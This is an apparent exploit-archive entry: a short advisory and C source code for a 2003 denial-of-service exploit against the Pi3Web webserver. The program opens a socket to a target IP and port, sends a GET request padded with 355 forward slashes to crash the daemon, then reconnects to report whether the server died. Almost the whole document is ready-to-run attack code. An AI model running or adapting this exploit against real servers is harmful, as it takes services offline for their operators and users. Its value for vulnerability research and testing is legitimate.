A simple denial of service exists in the Pi3 webserver that allows a remote attacker to crash the daemon by feeding it a GET request with 354+ forward slashes after it.
d0d216a28eaf4658a4d2b9ad6dbe5182010977d617055973a17d6620ae03dea4
/*
* Rosiello Security
*
* http://www.rosiello.org
* http://dtors.net
*
* Unix Version of the Pi3web DoS.
* ----------------------------------------------------------
* Info: Pi3Web Server is vulnerable to a denial of Service.
* ----------------------------------------------------------
* VULNERABILITY:
* GET //// <- 354
*
* The bug was found by aT4r@3wdesign.es 04/26/2003
* www.3wdesign.es Security
* ----------------------------------------------------------
* Unix Version Credits.
* AUTHOR : Angelo Rosiello
* CONTACT: angelo@rosiello.org, angelo@dtors.net
*
*/
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <string.h>
#include <assert.h>
void addr_initialize();
int main(int argc, char **argv)
{
int i, port, sd, rc;
char buffer[355];
char *get = "GET";
char packet[360];
struct sockaddr_in server;
if(argc > 3 || argc < 2)
{
printf("USAGE: %s IP PORT\n", argv[0]);
printf("e.g. ./pi3web-DoS 127.0.0.1 80\n");
exit(0);
}
if(argc == 2) port = 80;
else port = atoi(argv[2]);
for(i = 0; i < 355; i++) buffer[i] = '/'; //Build the malformed request
sprintf(packet, "%s %s\n", get, buffer);
addr_initialize(&server, port, (long)inet_addr(argv[1]));
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd < 0) perror("Socket");
assert(sd >= 0);
rc = connect(sd, (struct sockaddr *) &server, sizeof(server));
if(rc != 0) perror("Connect");
assert(rc == 0);
printf("\n\t\t(c) 2003 DTORS Security\n");
printf("\t\tUnix Version DoS for Pi3web\n");
printf("\t\tby Angelo Rosiello\n\n");
write(sd, packet, strlen(packet)); //Caput!
printf("Malformed packet sent!\n");
close(sd);
printf("Checking if the server crashed...\n");
sleep(3);
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd < 0) perror("Socket");
assert(sd >= 0);
rc = connect(sd, (struct sockaddr *) &server, sizeof(server));
if(rc != 0)
{
printf("The server is dead!\n");
exit(0);
}
else if(rc == 0) printf("The server is not vulnerable!\n");
close(sd);
exit(0);
}
void addr_initialize (struct sockaddr_in *address, int port, long IPaddr)
{
address -> sin_family = AF_INET;
address -> sin_port = htons((u_short)port);
address -> sin_addr.s_addr = IPaddr;
}
/*EOF*/